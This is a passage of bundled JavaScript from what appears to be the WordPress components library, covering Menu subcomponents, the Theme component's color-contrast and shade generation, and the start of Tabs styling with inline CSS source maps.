50397 render: /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(ItemPrefixWrapper, {}),
50398 style: {
50399 width: "auto",
50400 height: "auto"
50401 },
50402 children: /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(icon_default2, {
50403 icon: radioCheck,
50404 size: 24
50405 })
50406 }), /* @__PURE__ */ (0, import_jsx_runtime302.jsxs)(ItemContentWrapper, {
50407 children: [/* @__PURE__ */ (0, import_jsx_runtime302.jsx)(ItemChildrenWrapper, {
50408 children
50409 }), suffix && /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(ItemSuffixWrapper, {
50410 children: suffix
50411 })]
50412 })]
50413 });
50414 });
50415
50416 // packages/components/build-module/menu/group.mjs
50417 var import_element227 = __toESM(require_element(), 1);
50418 var import_jsx_runtime303 = __toESM(require_jsx_runtime(), 1);
50419 var Group22 = (0, import_element227.forwardRef)(function Group32(props, ref) {
50420 const menuContext = (0, import_element227.useContext)(Context2);
50421 if (!menuContext?.store) {
50422 throw new Error("Menu.Group can only be rendered inside a Menu component");
50423 }
50424 return /* @__PURE__ */ (0, import_jsx_runtime303.jsx)(Group3, {
50425 ref,
50426 ...props,
50427 store: menuContext.store
50428 });
50429 });
50430
50431 // packages/components/build-module/menu/group-label.mjs
50432 var import_element228 = __toESM(require_element(), 1);
50433 var import_jsx_runtime304 = __toESM(require_jsx_runtime(), 1);
50434 var GroupLabel22 = (0, import_element228.forwardRef)(function Group4(props, ref) {
50435 const menuContext = (0, import_element228.useContext)(Context2);
50436 if (!menuContext?.store) {
50437 throw new Error("Menu.GroupLabel can only be rendered inside a Menu component");
50438 }
50439 return /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(GroupLabel3, {
50440 ref,
50441 render: (
50442 // @ts-expect-error The `children` prop is passed
50443 /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(component_default8, {
50444 upperCase: true,
50445 variant: "muted",
50446 size: "11px",
50447 weight: 500,
50448 lineHeight: "16px"
50449 })
50450 ),
50451 ...props,
50452 store: menuContext.store
50453 });
50454 });
50455
50456 // packages/components/build-module/menu/separator.mjs
50457 var import_element229 = __toESM(require_element(), 1);
50458 var import_jsx_runtime305 = __toESM(require_jsx_runtime(), 1);
50459 var Separator22 = (0, import_element229.forwardRef)(function Separator32(props, ref) {
50460 const menuContext = (0, import_element229.useContext)(Context2);
50461 if (!menuContext?.store) {
50462 throw new Error("Menu.Separator can only be rendered inside a Menu component");
50463 }
50464 return /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(Separator3, {
50465 ref,
50466 ...props,
50467 store: menuContext.store,
50468 variant: menuContext.variant
50469 });
50470 });
50471
50472 // packages/components/build-module/menu/item-label.mjs
50473 var import_element230 = __toESM(require_element(), 1);
50474 var import_jsx_runtime306 = __toESM(require_jsx_runtime(), 1);
50475 var ItemLabel2 = (0, import_element230.forwardRef)(function ItemLabel3(props, ref) {
50476 const menuContext = (0, import_element230.useContext)(Context2);
50477 if (!menuContext?.store) {
50478 throw new Error("Menu.ItemLabel can only be rendered inside a Menu component");
50479 }
50480 return /* @__PURE__ */ (0, import_jsx_runtime306.jsx)(ItemLabel, {
50481 numberOfLines: 1,
50482 ref,
50483 ...props
50484 });
50485 });
50486
50487 // packages/components/build-module/menu/item-help-text.mjs
50488 var import_element231 = __toESM(require_element(), 1);
50489 var import_jsx_runtime307 = __toESM(require_jsx_runtime(), 1);
50490 var ItemHelpText2 = (0, import_element231.forwardRef)(function ItemHelpText3(props, ref) {
50491 const menuContext = (0, import_element231.useContext)(Context2);
50492 if (!menuContext?.store) {
50493 throw new Error("Menu.ItemHelpText can only be rendered inside a Menu component");
50494 }
50495 return /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(ItemHelpText, {
50496 numberOfLines: 2,
50497 ref,
50498 ...props
50499 });
50500 });
50501
50502 // packages/components/build-module/menu/trigger-button.mjs
50503 var import_element232 = __toESM(require_element(), 1);
50504 var import_jsx_runtime308 = __toESM(require_jsx_runtime(), 1);
50505 var TriggerButton = (0, import_element232.forwardRef)(function TriggerButton2({
50506 children,
50507 disabled = false,
50508 ...props
50509 }, ref) {
50510 const menuContext = (0, import_element232.useContext)(Context2);
50511 if (!menuContext?.store) {
50512 throw new Error("Menu.TriggerButton can only be rendered inside a Menu component");
50513 }
50514 if (menuContext.store.parent) {
50515 throw new Error("Menu.TriggerButton should not be rendered inside a nested Menu component. Use Menu.SubmenuTriggerItem instead.");
50516 }
50517 return /* @__PURE__ */ (0, import_jsx_runtime308.jsx)(MenuButton, {
50518 ref,
50519 ...props,
50520 disabled,
50521 store: menuContext.store,
50522 children
50523 });
50524 });
50525
50526 // packages/components/build-module/menu/submenu-trigger-item.mjs
50527 var import_element233 = __toESM(require_element(), 1);
50528 var import_jsx_runtime309 = __toESM(require_jsx_runtime(), 1);
50529 var SubmenuTriggerItem = (0, import_element233.forwardRef)(function SubmenuTriggerItem2({
50530 suffix,
50531 ...otherProps
50532 }, ref) {
50533 const menuContext = (0, import_element233.useContext)(Context2);
50534 if (!menuContext?.store.parent) {
50535 throw new Error("Menu.SubmenuTriggerItem can only be rendered inside a nested Menu component");
50536 }
50537 return /* @__PURE__ */ (0, import_jsx_runtime309.jsx)(MenuButton, {
50538 ref,
50539 accessibleWhenDisabled: true,
50540 store: menuContext.store,
50541 render: /* @__PURE__ */ (0, import_jsx_runtime309.jsx)(Item22, {
50542 ...otherProps,
50543 // The menu item needs to register and be part of the parent menu.
50544 // Without specifying the store explicitly, the `Item` component
50545 // would otherwise read the store via context and pick up the one from
50546 // the sub-menu `Menu` component.
50547 store: menuContext.store.parent,
50548 suffix: /* @__PURE__ */ (0, import_jsx_runtime309.jsxs)(import_jsx_runtime309.Fragment, {
50549 children: [suffix, /* @__PURE__ */ (0, import_jsx_runtime309.jsx)(SubmenuChevronIcon, {
50550 "aria-hidden": "true",
50551 icon: chevron_right_small_default,
50552 size: 24,
50553 preserveAspectRatio: "xMidYMid slice"
50554 })]
50555 })
50556 })
50557 });
50558 });
50559
50560 // packages/components/build-module/menu/popover.mjs
50561 var import_element234 = __toESM(require_element(), 1);
50562 var import_jsx_runtime310 = __toESM(require_jsx_runtime(), 1);
50563 var Popover4 = (0, import_element234.forwardRef)(function Popover22({
50564 gutter,
50565 children,
50566 shift: shift3,
50567 modal = true,
50568 ...otherProps
50569 }, ref) {
50570 const menuContext = (0, import_element234.useContext)(Context2);
50571 const appliedPlacementSide = useStoreState(menuContext?.store, "currentPlacement")?.split("-")[0];
50572 const hideOnEscape = (0, import_element234.useCallback)((event) => {
50573 event.preventDefault();
50574 return true;
50575 }, []);
50576 const computedDirection = useStoreState(menuContext?.store, "rtl") ? "rtl" : "ltr";
50577 const wrapperProps = (0, import_element234.useMemo)(() => ({
50578 dir: computedDirection,
50579 style: {
50580 direction: computedDirection
50581 }
50582 }), [computedDirection]);
50583 if (!menuContext?.store) {
50584 throw new Error("Menu.Popover can only be rendered inside a Menu component");
50585 }
50586 return /* @__PURE__ */ (0, import_jsx_runtime310.jsx)(Menu22, {
50587 ...otherProps,
50588 ref,
50589 modal,
50590 store: menuContext.store,
50591 gutter: gutter ?? (menuContext.store.parent ? 0 : 8),
50592 shift: shift3 ?? (menuContext.store.parent ? -4 : 0),
50593 hideOnHoverOutside: false,
50594 "data-side": appliedPlacementSide,
50595 "data-submenu": !!menuContext.store.parent || void 0,
50596 wrapperProps,
50597 hideOnEscape,
50598 unmountOnHide: true,
50599 variant: menuContext.variant,
50600 children
50601 });
50602 });
50603
50604 // packages/components/build-module/menu/index.mjs
50605 var import_jsx_runtime311 = __toESM(require_jsx_runtime(), 1);
50606 var UnconnectedMenu = (props) => {
50607 const {
50608 children,
50609 defaultOpen = false,
50610 open,
50611 onOpenChange,
50612 placement,
50613 // From internal components context
50614 variant
50615 } = useContextSystem(props, "Menu");
50616 const parentContext = (0, import_element235.useContext)(Context2);
50617 const rtl2 = (0, import_i18n79.isRTL)();
50618 let computedPlacement = placement ?? (parentContext?.store ? "right-start" : "bottom-start");
50619 if (rtl2) {
50620 if (/right/.test(computedPlacement)) {
50621 computedPlacement = computedPlacement.replace("right", "left");
50622 } else if (/left/.test(computedPlacement)) {
50623 computedPlacement = computedPlacement.replace("left", "right");
50624 }
50625 }
50626 const menuStore = useMenuStore({
50627 parent: parentContext?.store,
50628 open,
50629 defaultOpen,
50630 placement: computedPlacement,
50631 focusLoop: true,
50632 setOpen(willBeOpen) {
50633 onOpenChange?.(willBeOpen);
50634 },
50635 rtl: rtl2
50636 });
50637 const contextValue = (0, import_element235.useMemo)(() => ({
50638 store: menuStore,
50639 variant
50640 }), [menuStore, variant]);
50641 return /* @__PURE__ */ (0, import_jsx_runtime311.jsx)(Context2.Provider, {
50642 value: contextValue,
50643 children
50644 });
50645 };
50646 var Menu3 = Object.assign(contextConnectWithoutRef(UnconnectedMenu, "Menu"), {
50647 Context: Object.assign(Context2, {
50648 displayName: "Menu.Context"
50649 }),
50650 /**
50651 * Renders a menu item inside the `Menu.Popover` or `Menu.Group` components.
50652 *
50653 * It can optionally contain one instance of the `Menu.ItemLabel` component
50654 * and one instance of the `Menu.ItemHelpText` component.
50655 */
50656 Item: Object.assign(Item22, {
50657 displayName: "Menu.Item"
50658 }),
50659 /**
50660 * Renders a radio menu item inside the `Menu.Popover` or `Menu.Group`
50661 * components.
50662 *
50663 * It can optionally contain one instance of the `Menu.ItemLabel` component
50664 * and one instance of the `Menu.ItemHelpText` component.
50665 */
50666 RadioItem: Object.assign(RadioItem2, {
50667 displayName: "Menu.RadioItem"
50668 }),
50669 /**
50670 * Renders a checkbox menu item inside the `Menu.Popover` or `Menu.Group`
50671 * components.
50672 *
50673 * It can optionally contain one instance of the `Menu.ItemLabel` component
50674 * and one instance of the `Menu.ItemHelpText` component.
50675 */
50676 CheckboxItem: Object.assign(CheckboxItem2, {
50677 displayName: "Menu.CheckboxItem"
50678 }),
50679 /**
50680 * Renders a group for menu items.
50681 *
50682 * It should contain one instance of `Menu.GroupLabel` and one or more
50683 * instances of `Menu.Item`, `Menu.RadioItem`, or `Menu.CheckboxItem`.
50684 */
50685 Group: Object.assign(Group22, {
50686 displayName: "Menu.Group"
50687 }),
50688 /**
50689 * Renders a label in a menu group.
50690 *
50691 * This component should be wrapped with `Menu.Group` so the
50692 * `aria-labelledby` is correctly set on the group element.
50693 */
50694 GroupLabel: Object.assign(GroupLabel22, {
50695 displayName: "Menu.GroupLabel"
50696 }),
50697 /**
50698 * Renders a divider between menu items or menu groups.
50699 */
50700 Separator: Object.assign(Separator22, {
50701 displayName: "Menu.Separator"
50702 }),
50703 /**
50704 * Renders a menu item's label text. It should be wrapped with `Menu.Item`,
50705 * `Menu.RadioItem`, or `Menu.CheckboxItem`.
50706 */
50707 ItemLabel: Object.assign(ItemLabel2, {
50708 displayName: "Menu.ItemLabel"
50709 }),
50710 /**
50711 * Renders a menu item's help text. It should be wrapped with `Menu.Item`,
50712 * `Menu.RadioItem`, or `Menu.CheckboxItem`.
50713 */
50714 ItemHelpText: Object.assign(ItemHelpText2, {
50715 displayName: "Menu.ItemHelpText"
50716 }),
50717 /**
50718 * Renders a dropdown menu element that's controlled by a sibling
50719 * `Menu.TriggerButton` component. It renders a popover and automatically
50720 * focuses on items when the menu is shown.
50721 *
50722 * The only valid children of `Menu.Popover` are `Menu.Item`,
50723 * `Menu.RadioItem`, `Menu.CheckboxItem`, `Menu.Group`, `Menu.Separator`,
50724 * and `Menu` (for nested dropdown menus).
50725 */
50726 Popover: Object.assign(Popover4, {
50727 displayName: "Menu.Popover"
50728 }),
50729 /**
50730 * Renders a menu button that toggles the visibility of a sibling
50731 * `Menu.Popover` component when clicked or when using arrow keys.
50732 */
50733 TriggerButton: Object.assign(TriggerButton, {
50734 displayName: "Menu.TriggerButton"
50735 }),
50736 /**
50737 * Renders a menu item that toggles the visibility of a sibling
50738 * `Menu.Popover` component when clicked or when using arrow keys.
50739 *
50740 * This component is used to create a nested dropdown menu.
50741 */
50742 SubmenuTriggerItem: Object.assign(SubmenuTriggerItem, {
50743 displayName: "Menu.SubmenuTriggerItem"
50744 })
50745 });
50746
50747 // packages/components/build-module/theme/index.mjs
50748 var import_element236 = __toESM(require_element(), 1);
50749
50750 // packages/components/build-module/theme/styles.mjs
50751 function _EMOTION_STRINGIFIED_CSS_ERROR__42() {
50752 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
50753 }
50754 var colorVariables = ({
50755 colors
50756 }) => {
50757 const shades = Object.entries(colors.gray || {}).map(([k3, v3]) => `--wp-components-color-gray-${k3}: ${v3};`).join("");
50758 return [/* @__PURE__ */ css("--wp-components-color-accent:", colors.accent, ";--wp-components-color-accent-darker-10:", colors.accentDarker10, ";--wp-components-color-accent-darker-20:", colors.accentDarker20, ";--wp-components-color-accent-inverted:", colors.accentInverted, ";--wp-components-color-background:", colors.background, ";--wp-components-color-foreground:", colors.foreground, ";--wp-components-color-foreground-inverted:", colors.foregroundInverted, ";", shades, ";" + (false ? "" : ";label:colorVariables;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpQksiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFRoZW1lT3V0cHV0VmFsdWVzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmV4cG9ydCBjb25zdCBjb2xvclZhcmlhYmxlcyA9ICggeyBjb2xvcnMgfTogVGhlbWVPdXRwdXRWYWx1ZXMgKSA9PiB7XG5cdGNvbnN0IHNoYWRlcyA9IE9iamVjdC5lbnRyaWVzKCBjb2xvcnMuZ3JheSB8fCB7fSApXG5cdFx0Lm1hcCggKCBbIGssIHYgXSApID0+IGAtLXdwLWNvbXBvbmVudHMtY29sb3ItZ3JheS0keyBrIH06ICR7IHYgfTtgIClcblx0XHQuam9pbiggJycgKTtcblxuXHRyZXR1cm4gW1xuXHRcdGNzc2Bcblx0XHRcdC0td3AtY29tcG9uZW50cy1jb2xvci1hY2NlbnQ6ICR7IGNvbG9ycy5hY2NlbnQgfTtcblx0XHRcdC0td3AtY29tcG9uZW50cy1jb2xvci1hY2NlbnQtZGFya2VyLTEwOiAkeyBjb2xvcnMuYWNjZW50RGFya2VyMTAgfTtcblx0XHRcdC0td3AtY29tcG9uZW50cy1jb2xvci1hY2NlbnQtZGFya2VyLTIwOiAkeyBjb2xvcnMuYWNjZW50RGFya2VyMjAgfTtcblx0XHRcdC0td3AtY29tcG9uZW50cy1jb2xvci1hY2NlbnQtaW52ZXJ0ZWQ6ICR7IGNvbG9ycy5hY2NlbnRJbnZlcnRlZCB9O1xuXG5cdFx0XHQtLXdwLWNvbXBvbmVudHMtY29sb3ItYmFja2dyb3VuZDogJHsgY29sb3JzLmJhY2tncm91bmQgfTtcblx0XHRcdC0td3AtY29tcG9uZW50cy1jb2xvci1mb3JlZ3JvdW5kOiAkeyBjb2xvcnMuZm9yZWdyb3VuZCB9O1xuXHRcdFx0LS13cC1jb21wb25lbnRzLWNvbG9yLWZvcmVncm91bmQtaW52ZXJ0ZWQ6ICR7IGNvbG9ycy5mb3JlZ3JvdW5kSW52ZXJ0ZWQgfTtcblxuXHRcdFx0JHsgc2hhZGVzIH1cblx0XHRgLFxuXHRdO1xufTtcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHRjb2xvcjogdmFyKCAtLXdwLWNvbXBvbmVudHMtY29sb3ItZm9yZWdyb3VuZCwgY3VycmVudENvbG9yICk7XG5gO1xuIl19 */")];
50759 };
50760 var Wrapper6 = /* @__PURE__ */ createStyled("div", false ? {
50761 target: "e1krjpvb0"
50762 } : {
50763 target: "e1krjpvb0",
50764 label: "Wrapper"
50765 })(false ? {
50766 name: "1a3idx0",
50767 styles: "color:var( --wp-components-color-foreground, currentColor )"
50768 } : {
50769 name: "1a3idx0",
50770 styles: "color:var( --wp-components-color-foreground, currentColor )/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnQ2lDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBUaGVtZU91dHB1dFZhbHVlcyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgY29sb3JWYXJpYWJsZXMgPSAoIHsgY29sb3JzIH06IFRoZW1lT3V0cHV0VmFsdWVzICkgPT4ge1xuXHRjb25zdCBzaGFkZXMgPSBPYmplY3QuZW50cmllcyggY29sb3JzLmdyYXkgfHwge30gKVxuXHRcdC5tYXAoICggWyBrLCB2IF0gKSA9PiBgLS13cC1jb21wb25lbnRzLWNvbG9yLWdyYXktJHsgayB9OiAkeyB2IH07YCApXG5cdFx0LmpvaW4oICcnICk7XG5cblx0cmV0dXJuIFtcblx0XHRjc3NgXG5cdFx0XHQtLXdwLWNvbXBvbmVudHMtY29sb3ItYWNjZW50OiAkeyBjb2xvcnMuYWNjZW50IH07XG5cdFx0XHQtLXdwLWNvbXBvbmVudHMtY29sb3ItYWNjZW50LWRhcmtlci0xMDogJHsgY29sb3JzLmFjY2VudERhcmtlcjEwIH07XG5cdFx0XHQtLXdwLWNvbXBvbmVudHMtY29sb3ItYWNjZW50LWRhcmtlci0yMDogJHsgY29sb3JzLmFjY2VudERhcmtlcjIwIH07XG5cdFx0XHQtLXdwLWNvbXBvbmVudHMtY29sb3ItYWNjZW50LWludmVydGVkOiAkeyBjb2xvcnMuYWNjZW50SW52ZXJ0ZWQgfTtcblxuXHRcdFx0LS13cC1jb21wb25lbnRzLWNvbG9yLWJhY2tncm91bmQ6ICR7IGNvbG9ycy5iYWNrZ3JvdW5kIH07XG5cdFx0XHQtLXdwLWNvbXBvbmVudHMtY29sb3ItZm9yZWdyb3VuZDogJHsgY29sb3JzLmZvcmVncm91bmQgfTtcblx0XHRcdC0td3AtY29tcG9uZW50cy1jb2xvci1mb3JlZ3JvdW5kLWludmVydGVkOiAkeyBjb2xvcnMuZm9yZWdyb3VuZEludmVydGVkIH07XG5cblx0XHRcdCR7IHNoYWRlcyB9XG5cdFx0YCxcblx0XTtcbn07XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0Y29sb3I6IHZhciggLS13cC1jb21wb25lbnRzLWNvbG9yLWZvcmVncm91bmQsIGN1cnJlbnRDb2xvciApO1xuYDtcbiJdfQ== */",
50771 toString: _EMOTION_STRINGIFIED_CSS_ERROR__42
50772 });
50773
50774 // packages/components/build-module/theme/color-algorithms.mjs
50775 var import_warning11 = __toESM(require_warning(), 1);
50776 k([names_default, a11y_default]);
50777 function generateThemeVariables(inputs) {
50778 validateInputs(inputs);
50779 const generatedColors = {
50780 ...generateAccentDependentColors(inputs.accent),
50781 ...generateBackgroundDependentColors(inputs.background)
50782 };
50783 warnContrastIssues(checkContrasts(inputs, generatedColors));
50784 return {
50785 colors: generatedColors
50786 };
50787 }
50788 function validateInputs(inputs) {
50789 for (const [key, value] of Object.entries(inputs)) {
50790 if (typeof value !== "undefined" && !w(value).isValid()) {
50791 true ? (0, import_warning11.default)(`wp.components.Theme: "${value}" is not a valid color value for the '${key}' prop.`) : void 0;
50792 }
50793 }
50794 }
50795 function checkContrasts(inputs, outputs) {
50796 const background2 = inputs.background || COLORS.white;
50797 const accent = inputs.accent || "#3858e9";
50798 const foreground = outputs.foreground || COLORS.gray[900];
50799 const gray = outputs.gray || COLORS.gray;
50800 return {
50801 accent: w(background2).isReadable(accent) ? void 0 : `The background color ("${background2}") does not have sufficient contrast against the accent color ("${accent}").`,
50802 foreground: w(background2).isReadable(foreground) ? void 0 : `The background color provided ("${background2}") does not have sufficient contrast against the standard foreground colors.`,
50803 grays: w(background2).contrast(gray[600]) >= 3 && w(background2).contrast(gray[700]) >= 4.5 ? void 0 : `The background color provided ("${background2}") cannot generate a set of grayscale foreground colors with sufficient contrast. Try adjusting the color to be lighter or darker.`
50804 };
50805 }
50806 function warnContrastIssues(issues) {
50807 for (const error of Object.values(issues)) {
50808 if (error) {
50809 true ? (0, import_warning11.default)("wp.components.Theme: " + error) : void 0;
50810 }
50811 }
50812 }
50813 function generateAccentDependentColors(accent) {
50814 if (!accent) {
50815 return {};
50816 }
50817 return {
50818 accent,
50819 accentDarker10: w(accent).darken(0.1).toHex(),
50820 accentDarker20: w(accent).darken(0.2).toHex(),
50821 accentInverted: getForegroundForColor(accent)
50822 };
50823 }
50824 function generateBackgroundDependentColors(background2) {
50825 if (!background2) {
50826 return {};
50827 }
50828 const foreground = getForegroundForColor(background2);
50829 return {
50830 background: background2,
50831 foreground,
50832 foregroundInverted: getForegroundForColor(foreground),
50833 gray: generateShades(background2, foreground)
50834 };
50835 }
50836 function getForegroundForColor(color2) {
50837 return w(color2).isDark() ? COLORS.white : COLORS.gray[900];
50838 }
50839 function generateShades(background2, foreground) {
50840 const SHADES = {
50841 100: 0.06,
50842 200: 0.121,
50843 300: 0.132,
50844 400: 0.2,
50845 600: 0.42,
50846 700: 0.543,
50847 800: 0.821
50848 };
50849 const limit = 0.884;
50850 const direction = w(background2).isDark() ? "lighten" : "darken";
50851 const range = Math.abs(w(background2).toHsl().l - w(foreground).toHsl().l) / 100;
50852 const result = {};
50853 Object.entries(SHADES).forEach(([key, value]) => {
50854 result[parseInt(key)] = w(background2)[direction](value / limit * range).toHex();
50855 });
50856 return result;
50857 }
50858
50859 // packages/components/build-module/theme/index.mjs
50860 var import_jsx_runtime312 = __toESM(require_jsx_runtime(), 1);
50861 function Theme({
50862 accent,
50863 background: background2,
50864 className: className2,
50865 ...props
50866 }) {
50867 const cx3 = useCx();
50868 const classes = (0, import_element236.useMemo)(() => cx3(...colorVariables(generateThemeVariables({
50869 accent,
50870 background: background2
50871 })), className2), [accent, background2, className2, cx3]);
50872 return /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(Wrapper6, {
50873 className: classes,
50874 ...props
50875 });
50876 }
50877 var theme_default = Theme;
50878
50879 // packages/components/build-module/tabs/index.mjs
50880 var import_compose84 = __toESM(require_compose(), 1);
50881 var import_element242 = __toESM(require_element(), 1);
50882 var import_i18n80 = __toESM(require_i18n(), 1);
50883
50884 // packages/components/build-module/tabs/context.mjs
50885 var import_element237 = __toESM(require_element(), 1);
50886 var TabsContext = (0, import_element237.createContext)(void 0);
50887 TabsContext.displayName = "TabsContext";
50888 var useTabsContext = () => (0, import_element237.useContext)(TabsContext);
50889
50890 // packages/components/build-module/tabs/tab.mjs
50891 var import_element238 = __toESM(require_element(), 1);
50892 var import_warning12 = __toESM(require_warning(), 1);
50893
50894 // packages/components/build-module/tabs/styles.mjs
50895 function _EMOTION_STRINGIFIED_CSS_ERROR__43() {
50896 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
50897 }
50898 var StyledTabList = /* @__PURE__ */ createStyled(TabList, false ? {
50899 target: "enfox0g4"
50900 } : {
50901 target: "enfox0g4",
50902 label: "StyledTabList"
50903 })("display:flex;align-items:stretch;overflow-x:auto;&[aria-orientation='vertical']{flex-direction:column;}:where( [aria-orientation='horizontal'] ){width:fit-content;}--direction-factor:1;--direction-start:left;--direction-end:right;--selected-start:var( --selected-left, 0 );&:dir( rtl ){--direction-factor:-1;--direction-start:right;--direction-end:left;--selected-start:var( --selected-right, 0 );}@media not ( prefers-reduced-motion ){&[data-indicator-animated]::before{transition-property:transform,border-radius,border-block;transition-duration:0.2s;transition-timing-function:ease-out;}}position:relative;&::before{content:'';position:absolute;pointer-events:none;transform-origin:var( --direction-start ) top;outline:2px solid transparent;outline-offset:-1px;}--antialiasing-factor:100;&[aria-orientation='horizontal']{--fade-width:64px;--fade-gradient-base:transparent 0%,black var( --fade-width );--fade-gradient-composed:var( --fade-gradient-base ),black 60%,transparent 50%;&.is-overflowing-first{mask-image:linear-gradient(\n to var( --direction-end ),\n var( --fade-gradient-base )\n );}&.is-overflowing-last{mask-image:linear-gradient(\n to var( --direction-start ),\n var( --fade-gradient-base )\n );}&.is-overflowing-first.is-overflowing-last{mask-image:linear-gradient(\n to right,\n var( --fade-gradient-composed )\n ),linear-gradient( to left, var( --fade-gradient-composed ) );}&::before{bottom:0;height:0;width:calc( var( --antialiasing-factor ) * 1px );transform:translateX(\n calc(\n var( --selected-start ) * var( --direction-factor ) *\n 1px\n )\n ) scaleX(\n calc(\n var( --selected-width, 0 ) /\n var( --antialiasing-factor )\n )\n );border-bottom:var( --wp-admin-border-width-focus ) solid ", COLORS.theme.accent, ";}}&[aria-orientation='vertical']{&::before{border-radius:", config_values_default.radiusSmall, "/calc(\n ", config_values_default.radiusSmall, " /\n (\n var( --selected-height, 0 ) /\n var( --antialiasing-factor )\n )\n );top:0;left:0;width:100%;height:calc( var( --antialiasing-factor ) * 1px );transform:translateY( calc( var( --selected-top, 0 ) * 1px ) ) scaleY(\n calc(\n var( --selected-height, 0 ) /\n var( --antialiasing-factor )\n )\n );background-color:color-mix(\n in srgb,\n ", COLORS.theme.accent, ",\n transparent 96%\n );}&[data-select-on-move='true']:has(\n :is( :focus-visible, [data-focus-visible] )\n )::before{box-sizing:border-box;border:var( --wp-admin-border-width-focus ) solid ", COLORS.theme.accent, ";border-block-width:calc(\n var( --wp-admin-border-width-focus, 1px ) /\n (\n var( --selected-height, 0 ) /\n var( --antialiasing-factor )\n )\n );}}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFhc0QiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0ICogYXMgQXJpYWtpdCBmcm9tICdAYXJpYWtpdC9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IENPTE9SUywgQ09ORklHLCBmb250IH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgSWNvbiBmcm9tICcuLi9pY29uJztcblxuZXhwb3J0IGNvbnN0IFN0eWxlZFRhYkxpc3QgPSBzdHlsZWQoIEFyaWFraXQuVGFiTGlzdCApYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogc3RyZXRjaDtcblx0b3ZlcmZsb3cteDogYXV0bztcblxuXHQmW2FyaWEtb3JpZW50YXRpb249J3ZlcnRpY2FsJ10ge1xuXHRcdGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG5cdH1cblxuXHQ6d2hlcmUoIFthcmlhLW9yaWVudGF0aW9uPSdob3Jpem9udGFsJ10gKSB7XG5cdFx0d2lkdGg6IGZpdC1jb250ZW50O1xuXHR9XG5cblx0LS1kaXJlY3Rpb24tZmFjdG9yOiAxO1xuXHQtLWRpcmVjdGlvbi1zdGFydDogbGVmdDtcblx0LS1kaXJlY3Rpb24tZW5kOiByaWdodDtcblx0LS1zZWxlY3RlZC1zdGFydDogdmFyKCAtLXNlbGVjdGVkLWxlZnQsIDAgKTtcblx0JjpkaXIoIHJ0bCApIHtcblx0XHQtLWRpcmVjdGlvbi1mYWN0b3I6IC0xO1xuXHRcdC0tZGlyZWN0aW9uLXN0YXJ0OiByaWdodDtcblx0XHQtLWRpcmVjdGlvbi1lbmQ6IGxlZnQ7XG5cdFx0LS1zZWxlY3RlZC1zdGFydDogdmFyKCAtLXNlbGVjdGVkLXJpZ2h0LCAwICk7XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHQmW2RhdGEtaW5kaWNhdG9yLWFuaW1hdGVkXTo6YmVmb3JlIHtcblx0XHRcdHRyYW5zaXRpb24tcHJvcGVydHk6IHRyYW5zZm9ybSwgYm9yZGVyLXJhZGl1cywgYm9yZGVyLWJsb2NrO1xuXHRcdFx0dHJhbnNpdGlvbi1kdXJhdGlvbjogMC4ycztcblx0XHRcdHRyYW5zaXRpb24tdGltaW5nLWZ1bmN0aW9uOiBlYXNlLW91dDtcblx0XHR9XG5cdH1cblx0cG9zaXRpb246I